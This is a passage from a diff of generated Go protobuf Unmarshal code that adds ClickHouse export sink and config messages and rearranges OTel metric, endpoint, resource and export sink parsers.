postIndex < 0 { + return ErrInvalidLengthPlan + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Description = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Unit", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return ErrInvalidLengthPlan + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return ErrInvalidLengthPlan + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Unit = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Attributes", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return ErrInvalidLengthPlan + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return ErrInvalidLengthPlan + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Attributes = append(m.Attributes, &OTelAttribute{}) + if err := m.Attributes[len(m.Attributes)-1].Unmarshal(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field TimeColumnIndex", wireType) + } + m.TimeColumnIndex = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.TimeColumnIndex |= int64(b&0x7F) << shift + if b < 0x80 { + break + } + } + case 101: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Gauge", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return ErrInvalidLengthPlan + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return ErrInvalidLengthPlan + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + v := &OTelMetricGauge{} + if err := v.Unmarshal(dAtA[iNdEx:postIndex]); err != nil { + return err + } + m.Data = &OTelMetric_Gauge{v} + iNdEx = postIndex + case 102: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Summary", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return ErrInvalidLengthPlan + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return ErrInvalidLengthPlan + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + v := &OTelMetricSummary{} + if err := v.Unmarshal(dAtA[iNdEx:postIndex]); err != nil { + return err + } + m.Data = &OTelMetric_Summary{v} + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := skipPlan(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return ErrInvalidLengthPlan + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *OTelEndpointConfig) Unmarshal(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: OTelEndpointConfig: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: OTelEndpointConfig: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field URL", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return ErrInvalidLengthPlan + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return ErrInvalidLengthPlan + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.URL = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Headers", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift if b < 0x80 { break } } + if msglen < 0 { + return ErrInvalidLengthPlan + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return ErrInvalidLengthPlan + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Headers == nil { + m.Headers = make(map[string]string) + } + var mapkey string + var mapvalue string + for iNdEx < postIndex { + entryPreIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + if fieldNum == 1 { + var stringLenmapkey uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLenmapkey |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLenmapkey := int(stringLenmapkey) + if intStringLenmapkey < 0 { + return ErrInvalidLengthPlan + } + postStringIndexmapkey := iNdEx + intStringLenmapkey + if postStringIndexmapkey < 0 { + return ErrInvalidLengthPlan + } + if postStringIndexmapkey > l { + return io.ErrUnexpectedEOF + } + mapkey = string(dAtA[iNdEx:postStringIndexmapkey]) + iNdEx = postStringIndexmapkey + } else if fieldNum == 2 { + var stringLenmapvalue uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLenmapvalue |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLenmapvalue := int(stringLenmapvalue) + if intStringLenmapvalue < 0 { + return ErrInvalidLengthPlan + } + postStringIndexmapvalue := iNdEx + intStringLenmapvalue + if postStringIndexmapvalue < 0 { + return ErrInvalidLengthPlan + } + if postStringIndexmapvalue > l { + return io.ErrUnexpectedEOF + } + mapvalue = string(dAtA[iNdEx:postStringIndexmapvalue]) + iNdEx = postStringIndexmapvalue + } else { + iNdEx = entryPreIndex + skippy, err := skipPlan(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return ErrInvalidLengthPlan + } + if (iNdEx + skippy) > postIndex { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + m.Headers[mapkey] = mapvalue + iNdEx = postIndex case 3: if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field CanBeJsonEncodedArray", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field Insecure", wireType) } var v int for shift := uint(0); ; shift += 7 { @@ -17389,7 +19728,26 @@ func (m *OTelAttribute_Column) Unmarshal(dAtA []byte) error { break } } - m.CanBeJsonEncodedArray = bool(v != 0) + m.Insecure = bool(v != 0) + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Timeout", wireType) + } + m.Timeout = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.Timeout |= int64(b&0x7F) << shift + if b < 0x80 { + break + } + } default: iNdEx = preIndex skippy, err := skipPlan(dAtA[iNdEx:]) @@ -17411,7 +19769,7 @@ func (m *OTelAttribute_Column) Unmarshal(dAtA []byte) error { } return nil } -func (m *OTelMetric) Unmarshal(dAtA []byte) error { +func (m *ClickHouseConfig) Unmarshal(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -17434,15 +19792,15 @@ func (m *OTelMetric) Unmarshal(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: OTelMetric: wiretype end group for non-group") + return fmt.Errorf("proto: ClickHouseConfig: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: OTelMetric: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: ClickHouseConfig: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { case 1: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field Hostname", wireType) } var stringLen uint64 for shift := uint(0); ; shift += 7 { @@ -17470,11 +19828,11 @@ func (m *OTelMetric) Unmarshal(dAtA []byte) error { if postIndex > l { return io.ErrUnexpectedEOF } - m.Name = string(dAtA[iNdEx:postIndex]) + m.Hostname = string(dAtA[iNdEx:postIndex]) iNdEx = postIndex case 2: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Description", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field Host", wireType) } var stringLen uint64 for shift := uint(0); ; shift += 7 { @@ -17502,11 +19860,30 @@ func (m *OTelMetric) Unmarshal(dAtA []byte) error { if postIndex > l { return io.ErrUnexpectedEOF } - m.Description = string(dAtA[iNdEx:postIndex]) + m.Host = string(dAtA[iNdEx:postIndex]) iNdEx = postIndex case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Port", wireType) + } + m.Port = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.Port |= int32(b&0x7F) << shift + if b < 0x80 { + break + } + } + case 4: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Unit", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field Username", wireType) } var stringLen uint64 for shift := uint(0); ; shift += 7 { @@ -17534,13 +19911,13 @@ func (m *OTelMetric) Unmarshal(dAtA []byte) error { if postIndex > l { return io.ErrUnexpectedEOF } - m.Unit = string(dAtA[iNdEx:postIndex]) + m.Username = string(dAtA[iNdEx:postIndex]) iNdEx = postIndex - case 4: + case 5: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Attributes", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field Password", wireType) } - var msglen int + var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowPlan @@ -17550,50 +19927,29 @@ func (m *OTelMetric) Unmarshal(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - msglen |= int(b&0x7F) << shift + stringLen |= uint64(b&0x7F) << shift if b < 0x80 { break } } - if msglen < 0 { + intStringLen := int(stringLen) + if intStringLen < 0 { return ErrInvalidLengthPlan } - postIndex := iNdEx + msglen + postIndex := iNdEx + intStringLen if postIndex < 0 { return ErrInvalidLengthPlan } if postIndex > l { return io.ErrUnexpectedEOF } - m.Attributes = append(m.Attributes, &OTelAttribute{}) - if err := m.Attributes[len(m.Attributes)-1].Unmarshal(dAtA[iNdEx:postIndex]); err != nil { - return err - } + m.Password = string(dAtA[iNdEx:postIndex]) iNdEx = postIndex - case 5: - if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field TimeColumnIndex", wireType) - } - m.TimeColumnIndex = 0 - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return ErrIntOverflowPlan - } - if iNdEx >= l { - return io.ErrUnexpectedEOF - } - b := dAtA[iNdEx] - iNdEx++ - m.TimeColumnIndex |= int64(b&0x7F) << shift - if b < 0x80 { - break - } - } - case 101: + case 6: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Gauge", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field Database", wireType) } - var msglen int + var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowPlan @@ -17603,30 +19959,77 @@ func (m *OTelMetric) Unmarshal(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - msglen |= int(b&0x7F) << shift + stringLen |= uint64(b&0x7F) << shift if b < 0x80 { break } } - if msglen < 0 { + intStringLen := int(stringLen) + if intStringLen < 0 { return ErrInvalidLengthPlan } - postIndex := iNdEx + msglen + postIndex := iNdEx + intStringLen if postIndex < 0 { return ErrInvalidLengthPlan } if postIndex > l { return io.ErrUnexpectedEOF } - v := &OTelMetricGauge{} - if err := v.Unmarshal(dAtA[iNdEx:postIndex]); err != nil { + m.Database = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := skipPlan(dAtA[iNdEx:]) + if err != nil { return err } - m.Data = &OTelMetric_Gauge{v} - iNdEx = postIndex - case 102: + if (skippy < 0) || (iNdEx+skippy) < 0 { + return ErrInvalidLengthPlan + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *OTelResource) Unmarshal(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: OTelResource: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: OTelResource: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Summary", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field Attributes", wireType) } var msglen int for shift := uint(0); ; shift += 7 { @@ -17653,11 +20056,10 @@ func (m *OTelMetric) Unmarshal(dAtA []byte) error { if postIndex > l { return io.ErrUnexpectedEOF } - v := &OTelMetricSummary{} - if err := v.Unmarshal(dAtA[iNdEx:postIndex]); err != nil { + m.Attributes = append(m.Attributes, &OTelAttribute{}) + if err := m.Attributes[len(m.Attributes)-1].Unmarshal(dAtA[iNdEx:postIndex]); err != nil { return err } - m.Data = &OTelMetric_Summary{v} iNdEx = postIndex default: iNdEx = preIndex @@ -17680,7 +20082,7 @@ func (m *OTelMetric) Unmarshal(dAtA []byte) error { } return nil } -func (m *OTelEndpointConfig) Unmarshal(dAtA []byte) error { +func (m *OTelExportSinkOperator) Unmarshal(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -17703,17 +20105,17 @@ func (m *OTelEndpointConfig) Unmarshal(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: OTelEndpointConfig: wiretype end group for non-group") + return fmt.Errorf("proto: OTelExportSinkOperator: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: OTelEndpointConfig: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: OTelExportSinkOperator: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { case 1: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field URL", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field EndpointConfig", wireType) } - var stringLen uint64 + var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowPlan @@ -17723,156 +20125,69 @@ func (m *OTelEndpointConfig) Unmarshal(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - stringLen |= uint64(b&0x7F) << shift + msglen |= int(b&0x7F) << shift if b < 0x80 { break } } - intStringLen := int(stringLen) - if intStringLen < 0 { + if msglen < 0 { return ErrInvalidLengthPlan } - postIndex := iNdEx + intStringLen + postIndex := iNdEx + msglen if postIndex < 0 { return ErrInvalidLengthPlan } if postIndex > l { return io.ErrUnexpectedEOF } - m.URL = string(dAtA[iNdEx:postIndex]) + if m.EndpointConfig == nil { + m.EndpointConfig = &OTelEndpointConfig{} + } + if err := m.EndpointConfig.Unmarshal(dAtA[iNdEx:postIndex]); err != nil { + return err + } iNdEx = postIndex case 2: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Headers", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field Resource", wireType) } var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflowPlan - } - if iNdEx >= l { - return io.ErrUnexpectedEOF - } - b := dAtA[iNdEx] - iNdEx++ - msglen |= int(b&0x7F) << shift - if b < 0x80 { - break - } - } - if msglen < 0 { - return ErrInvalidLengthPlan - } - postIndex := iNdEx + msglen - if postIndex < 0 { - return ErrInvalidLengthPlan - } - if postIndex > l { - return io.ErrUnexpectedEOF - } - if m.Headers == nil { - m.Headers = make(map[string]string) - } - var mapkey string - var mapvalue string - for iNdEx < postIndex { - entryPreIndex := iNdEx - var wire uint64 - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return ErrIntOverflowPlan - } - if iNdEx >= l { - return io.ErrUnexpectedEOF - } - b := dAtA[iNdEx] - iNdEx++ - wire |= uint64(b&0x7F) << shift - if b < 0x80 { - break - } - } - fieldNum := int32(wire >> 3) - if fieldNum == 1 { - var stringLenmapkey uint64 - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return ErrIntOverflowPlan - } - if iNdEx >= l { - return io.ErrUnexpectedEOF - } - b := dAtA[iNdEx] - iNdEx++ - stringLenmapkey |= uint64(b&0x7F) << shift - if b < 0x80 { - break - } - } - intStringLenmapkey := int(stringLenmapkey) - if intStringLenmapkey < 0 { - return ErrInvalidLengthPlan - } - postStringIndexmapkey := iNdEx + intStringLenmapkey - if postStringIndexmapkey < 0 { - return ErrInvalidLengthPlan - } - if postStringIndexmapkey > l { - return io.ErrUnexpectedEOF - } - mapkey = string(dAtA[iNdEx:postStringIndexmapkey]) - iNdEx = postStringIndexmapkey - } else if fieldNum == 2 { - var stringLenmapvalue uint64 - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return ErrIntOverflowPlan - } - if iNdEx >= l { - return io.ErrUnexpectedEOF - } - b := dAtA[iNdEx] - iNdEx++ - stringLenmapvalue |= uint64(b&0x7F) << shift - if b < 0x80 { - break - } - } - intStringLenmapvalue := int(stringLenmapvalue) - if intStringLenmapvalue < 0 { - return ErrInvalidLengthPlan - } - postStringIndexmapvalue := iNdEx + intStringLenmapvalue - if postStringIndexmapvalue < 0 { - return ErrInvalidLengthPlan - } - if postStringIndexmapvalue > l { - return io.ErrUnexpectedEOF - } - mapvalue = string(dAtA[iNdEx:postStringIndexmapvalue]) - iNdEx = postStringIndexmapvalue - } else { - iNdEx = entryPreIndex - skippy, err := skipPlan(dAtA[iNdEx:]) - if err != nil { - return err - } - if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLengthPlan - } - if (iNdEx + skippy) > postIndex { - return io.ErrUnexpectedEOF - } - iNdEx += skippy + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break } } - m.Headers[mapkey] = mapvalue + if msglen < 0 { + return ErrInvalidLengthPlan + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return ErrInvalidLengthPlan + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Resource == nil { + m.Resource = &OTelResource{} + } + if err := m.Resource.Unmarshal(dAtA[iNdEx:postIndex]); err != nil { + return err + } iNdEx = postIndex case 3: - if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field Insecure", wireType) + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Metrics", wireType) } - var v int + var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowPlan @@ -17882,17 +20197,31 @@ func (m *OTelEndpointConfig) Unmarshal(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - v |= int(b&0x7F) << shift + msglen |= int(b&0x7F) << shift if b < 0x80 { break } } - m.Insecure = bool(v != 0) + if msglen < 0 { + return ErrInvalidLengthPlan + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return ErrInvalidLengthPlan + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Metrics = append(m.Metrics, &OTelMetric{}) + if err := m.Metrics[len(m.Metrics)-1].Unmarshal(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex case 4: - if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field Timeout", wireType) + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Spans", wireType) } - m.Timeout = 0 + var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowPlan @@ -17902,64 +20231,29 @@ func (m *OTelEndpointConfig) Unmarshal(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - m.Timeout |= int64(b&0x7F) << shift + msglen |= int(b&0x7F) << shift if b < 0x80 { break } } - default: - iNdEx = preIndex - skippy, err := skipPlan(dAtA[iNdEx:]) - if err != nil { - return err - } - if (skippy < 0) || (iNdEx+skippy) < 0 { + if msglen < 0 { return ErrInvalidLengthPlan } - if (iNdEx + skippy) > l { - return io.ErrUnexpectedEOF - } - iNdEx += skippy - } - } - - if iNdEx > l { - return io.ErrUnexpectedEOF - } - return nil -} -func (m *OTelResource) Unmarshal(dAtA []byte) error { - l := len(dAtA) - iNdEx := 0 - for iNdEx < l { - preIndex := iNdEx - var wire uint64 - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return ErrIntOverflowPlan + postIndex := iNdEx + msglen + if postIndex < 0 { + return ErrInvalidLengthPlan } - if iNdEx >= l { + if postIndex > l { return io.ErrUnexpectedEOF } - b := dAtA[iNdEx] - iNdEx++ - wire |= uint64(b&0x7F) << shift - if b < 0x80 { - break + m.Spans = append(m.Spans, &OTelSpan{}) + if err := m.Spans[len(m.Spans)-1].Unmarshal(dAtA[iNdEx:postIndex]); err != nil { + return err } - } - fieldNum := int32(wire >> 3) - wireType := int(wire & 0x7) - if wireType == 4 { - return fmt.Errorf("proto: OTelResource: wiretype end group for non-group") - } - if fieldNum <= 0 { - return fmt.Errorf("proto: OTelResource: illegal tag %d (wire type %d)", fieldNum, wire) - } - switch fieldNum { - case 1: + iNdEx = postIndex + case 5: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Attributes", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field Logs", wireType) } var msglen int for shift := uint(0); ; shift += 7 { @@ -17986,8 +20280,8 @@ func (m *OTelResource) Unmarshal(dAtA []byte) error { if postIndex > l { return io.ErrUnexpectedEOF } - m.Attributes = append(m.Attributes, &OTelAttribute{}) - if err := m.Attributes[len(m.Attributes)-1].Unmarshal(dAtA[iNdEx:postIndex]); err != nil { + m.Logs = append(m.Logs, &OTelLog{}) + if err := m.Logs[len(m.Logs)-1].Unmarshal(dAtA[iNdEx:postIndex]); err != nil { return err } iNdEx = postIndex @@ -18012,7 +20306,7 @@ func (m *OTelResource) Unmarshal(dAtA []byte) error { } return nil } -func (m *OTelExportSinkOperator) Unmarshal(dAtA []byte) error { +func (m *ClickHouseExportSinkOperator) Unmarshal(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -18035,15 +20329,15 @@ func (m *OTelExportSinkOperator) Unmarshal(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: OTelExportSinkOperator: wiretype end group for non-group") + return fmt.Errorf("proto: ClickHouseExportSinkOperator: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: OTelExportSinkOperator: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: ClickHouseExportSinkOperator: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { case 1: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field EndpointConfig", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field ClickhouseConfig", wireType) } var msglen int for shift := uint(0); ; shift += 7 { @@ -18070,18 +20364,18 @@ func (m *OTelExportSinkOperator) Unmarshal(dAtA []byte) error { if postIndex > l { return io.ErrUnexpectedEOF } - if m.EndpointConfig == nil { - m.EndpointConfig = &OTelEndpointConfig{} + if m.ClickhouseConfig == nil { + m.ClickhouseConfig = &ClickHouseConfig{} } - if err := m.EndpointConfig.Unmarshal(dAtA[iNdEx:postIndex]); err != nil { + if err := m.ClickhouseConfig.Unmarshal(dAtA[iNdEx:postIndex]); err != nil { return err } iNdEx = postIndex case 2: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Resource", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field TableName", wireType) } - var msglen int + var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowPlan @@ -18091,31 +20385,27 @@ func (m *OTelExportSinkOperator) Unmarshal(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - msglen |= int(b&0x7F) << shift + stringLen |= uint64(b&0x7F) << shift if b < 0x80 { break } } - if msglen < 0 { + intStringLen := int(stringLen) + if intStringLen < 0 { return ErrInvalidLengthPlan } - postIndex := iNdEx + msglen + postIndex := iNdEx + intStringLen if postIndex < 0 { return ErrInvalidLengthPlan } if postIndex > l { return io.ErrUnexpectedEOF } - if m.Resource == nil { - m.Resource = &OTelResource{} - } - if err := m.Resource.Unmarshal(dAtA[iNdEx:postIndex]); err != nil { - return err - } + m.TableName = string(dAtA[iNdEx:postIndex]) iNdEx = postIndex case 3: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Metrics", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field ColumnMappings", wireType) } var msglen int for shift := uint(0); ; shift += 7 { @@ -18142,16 +20432,66 @@ func (m *OTelExportSinkOperator) Unmarshal(dAtA []byte) error { if postIndex > l { return io.ErrUnexpectedEOF } - m.Metrics = append(m.Metrics, &OTelMetric{}) - if err := m.Metrics[len(m.Metrics)-1].Unmarshal(dAtA[iNdEx:postIndex]); err != nil { + m.ColumnMappings = append(m.ColumnMappings, &ClickHouseExportSinkOperator_ColumnMapping{}) + if err := m.ColumnMappings[len(m.ColumnMappings)-1].Unmarshal(dAtA[iNdEx:postIndex]); err != nil { return err } iNdEx = postIndex - case 4: - if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Spans", wireType) + default: + iNdEx = preIndex + skippy, err := skipPlan(dAtA[iNdEx:]) + if err != nil { + return err } - var msglen int + if (skippy < 0) || (iNdEx+skippy) < 0 { + return ErrInvalidLengthPlan + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ClickHouseExportSinkOperator_ColumnMapping) Unmarshal(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ColumnMapping: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ColumnMapping: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field InputColumnIndex", wireType) + } + m.InputColumnIndex = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowPlan @@ -18161,31 +20501,16 @@ func (m *OTelExportSinkOperator) Unmarshal(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - msglen |= int(b&0x7F) << shift + m.InputColumnIndex |= int32(b&0x7F) << shift if b < 0x80 { break } } - if msglen < 0 { - return ErrInvalidLengthPlan - } - postIndex := iNdEx + msglen - if postIndex < 0 { - return ErrInvalidLengthPlan - } - if postIndex > l { - return io.ErrUnexpectedEOF - } - m.Spans = 